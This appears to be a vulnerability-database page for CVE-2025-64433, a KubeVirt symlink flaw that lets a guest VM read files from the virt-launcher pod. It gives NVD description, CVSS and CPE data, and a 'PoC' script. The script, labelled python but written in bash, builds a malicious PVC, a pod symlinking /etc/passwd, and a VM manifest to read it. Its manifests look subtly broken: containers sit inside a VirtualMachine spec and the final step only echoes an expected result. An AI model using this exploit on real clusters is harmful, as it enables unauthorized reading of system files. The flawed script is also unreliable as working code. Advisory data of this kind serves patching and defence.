Security Vulnerability Report
中文
CVE-2025-64433 CVSS 6.5 MEDIUM

CVE-2025-64433

Published: 2025-11-07 23:15:46
Last Modified: 2025-11-25 16:49:00

Description

KubeVirt is a virtual machine management add-on for Kubernetes. Prior to 1.5.3 and 1.6.1, a vulnerability was discovered that allows a VM to read arbitrary files from the virt-launcher pod's file system. This issue stems from improper symlink handling when mounting PVC disks into a VM. Specifically, if a malicious user has full or partial control over the contents of a PVC, they can create a symbolic link that points to a file within the virt-launcher pod's file system. Since libvirt can treat regular files as block devices, any file on the pod's file system that is symlinked in this way can be mounted into the VM and subsequently read. Although a security mechanism exists where VMs are executed as an unprivileged user with UID 107 inside the virt-launcher container, limiting the scope of accessible resources, this restriction is bypassed due to a second vulnerability. The latter causes the ownership of any file intended for mounting to be changed to the unprivileged user with UID 107 prior to mounting. As a result, an attacker can gain access to and read arbitrary files located within the virt-launcher pod's file system or on a mounted PVC from within the guest VM. This vulnerability is fixed in 1.5.3 and 1.6.1.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:kubevirt:kubevirt:*:*:*:*:*:kubernetes:*:* - VULNERABLE
cpe:2.3:a:kubevirt:kubevirt:1.6.0:-:*:*:*:kubernetes:*:* - VULNERABLE
cpe:2.3:a:kubevirt:kubevirt:1.6.0:alpha0:*:*:*:kubernetes:*:* - VULNERABLE
cpe:2.3:a:kubevirt:kubevirt:1.6.0:beta0:*:*:*:kubernetes:*:* - VULNERABLE
cpe:2.3:a:kubevirt:kubevirt:1.6.0:rc0:*:*:*:kubernetes:*:* - VULNERABLE
KubeVirt < 1.5.3
KubeVirt 1.6.0
KubeVirt < 1.6.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # CVE-2025-64433 PoC - KubeVirt Symlink Traversal File Read # This PoC demonstrates how a malicious PVC can read arbitrary files from virt-launcher pod # Step 1: Create a malicious PVC with symlink pointing to target file echo "Creating malicious PVC with symlink..." cat << 'EOF' > malicious-pvc.yaml apiVersion: v1 kind: PersistentVolumeClaim metadata: name: malicious-pvc spec: accessModes: - ReadWriteOnce resources: requests: storage: 10Mi storageClassName: standard EOF # Step 2: Create a pod that writes symlink to PVC cat << 'EOF' > exploit-pod.yaml apiVersion: v1 kind: Pod metadata: name: exploit-pod spec: containers: - name: exploit image: busybox command: ['sh', '-c', 'ln -sf /etc/passwd /mnt/target && sleep 3600'] volumeMounts: - name: pvc mountPath: /mnt volumes: - name: pvc persistentVolumeClaim: claimName: malicious-pvc EOF # Step 3: Create a VM that mounts the malicious PVC cat << 'EOF' > malicious-vm.yaml apiVersion: kubevirt.io/v1 kind: VirtualMachine metadata: name: malicious-vm spec: running: true template: spec: domain: devices: disks: - name: malicious-disk disk: bus: virtio filesystems: - name: maliciousfs virtiofs: {} volumes: - name: malicious-disk persistentVolumeClaim: claimName: malicious-pvc containers: - name: exploit volumeMounts: - name: maliciousfs mountPath: /hostfs EOF # Step 4: Read the file from inside the VM echo "Accessing the symlinked file from VM..." echo "Expected: Contents of /etc/passwd from virt-launcher pod" # References: # - https://github.com/kubevirt/kubevirt/security/advisories/GHSA-qw6q-3pgr-5cwq # - https://github.com/kubevirt/kubevirt/commit/09eafa068ec01eca0e96ebafeeb9522a878dbf64

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64433", "sourceIdentifier": "[email protected]", "published": "2025-11-07T23:15:45.537", "lastModified": "2025-11-25T16:49:00.340", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "KubeVirt is a virtual machine management add-on for Kubernetes. Prior to 1.5.3 and 1.6.1, a vulnerability was discovered that allows a VM to read arbitrary files from the virt-launcher pod's file system. This issue stems from improper symlink handling when mounting PVC disks into a VM. Specifically, if a malicious user has full or partial control over the contents of a PVC, they can create a symbolic link that points to a file within the virt-launcher pod's file system. Since libvirt can treat regular files as block devices, any file on the pod's file system that is symlinked in this way can be mounted into the VM and subsequently read. Although a security mechanism exists where VMs are executed as an unprivileged user with UID 107 inside the virt-launcher container, limiting the scope of accessible resources, this restriction is bypassed due to a second vulnerability. The latter causes the ownership of any file intended for mounting to be changed to the unprivileged user with UID 107 prior to mounting. As a result, an attacker can gain access to and read arbitrary files located within the virt-launcher pod's file system or on a mounted PVC from within the guest VM. This vulnerability is fixed in 1.5.3 and 1.6.1."}, {"lang": "es", "value": "KubeVirt es un complemento de gestión de máquinas virtuales para Kubernetes. Versiones anteriores a 1.5.3 y 1.6.1, se descubrió una vulnerabilidad que permite a una VM leer archivos arbitrarios del sistema de archivos del pod virt-launcher. Este problema se deriva del manejo inadecuado de enlaces simbólicos al montar discos PVC en una VM. Específicamente, si un usuario malicioso tiene control total o parcial sobre el contenido de un PVC, puede crear un enlace simbólico que apunte a un archivo dentro del sistema de archivos del pod virt-launcher. Dado que libvirt puede tratar archivos regulares como dispositivos de bloque, cualquier archivo en el sistema de archivos del pod que esté enlazado simbólicamente de esta manera puede montarse en la VM y, posteriormente, leerse. Aunque existe un mecanismo de seguridad donde las VMs se ejecutan como un usuario sin privilegios con UID 107 dentro del contenedor virt-launcher, lo que limita el alcance de los recursos accesibles, esta restricción se elude debido a una segunda vulnerabilidad. Esta última provoca que la propiedad de cualquier archivo destinado a ser montado se cambie al usuario sin privilegios con UID 107 antes del montaje. Como resultado, un atacante puede obtener acceso y leer archivos arbitrarios ubicados dentro del sistema de archivos del pod virt-launcher o en un PVC montado desde dentro de la VM invitada. Esta vulnerabilidad está corregida en las versiones 1.5.3 y 1.6.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:kubevirt:kubevirt:*:*:*:*:*:kubernetes:*:*", "versionEndExcluding": "1.5.3", "matchCriteriaId": "D06A16D0-A19D-4FC9-BBB2-DD155157AD8E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:kubevirt:kubevirt:1.6.0:-:*:*:*:kubernetes:*:*", "matchCriteriaId": "7AC531A2-1D99-4F6E-8C95-57B3B6B15681"}, {"vulnerable": true, "criteria": "cpe:2.3:a:kubevirt:kubevirt:1.6.0:alpha0:*:*:*:kubernetes:*:*", "matchCriteriaId": "DD76B774-EB47-4714-8235-D006EC603FDB"}, {"vulnerable": true, "criteria": "cpe:2.3:a:kubevirt:kubevirt:1.6.0:beta0:*:*:*:kubernetes:*:*", "matchCriteriaId": "849F4551-D37E-40C3-A49D-AF2A9BA9CC8A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:kubevirt:kubevirt:1.6.0:rc0:*:*:*:kubernetes:*:*", "matchCriteriaId": "3A5C8C2B-705D-435E-93A7-0523DC4A97BE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:kubevirt:kubevirt:1.6.0:rc1:*:*:*:kubernetes:*:*", "matchCriteriaId": "A6326DB3-2CBC-4B85-94C8-9F2B2B458548"}]}]}], "references": [{"url": "https://github.com/kubevirt/kubevirt/commit/09eafa068ec01eca0e96ebafeeb9522a878dbf64", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/kubevirt/kubevirt/commit/9dc798cb1efe924a9a2b97b6e016452dec5e3849", "source": "[email protected]", "tags": ["Patch"]}, {"url": ... (truncated)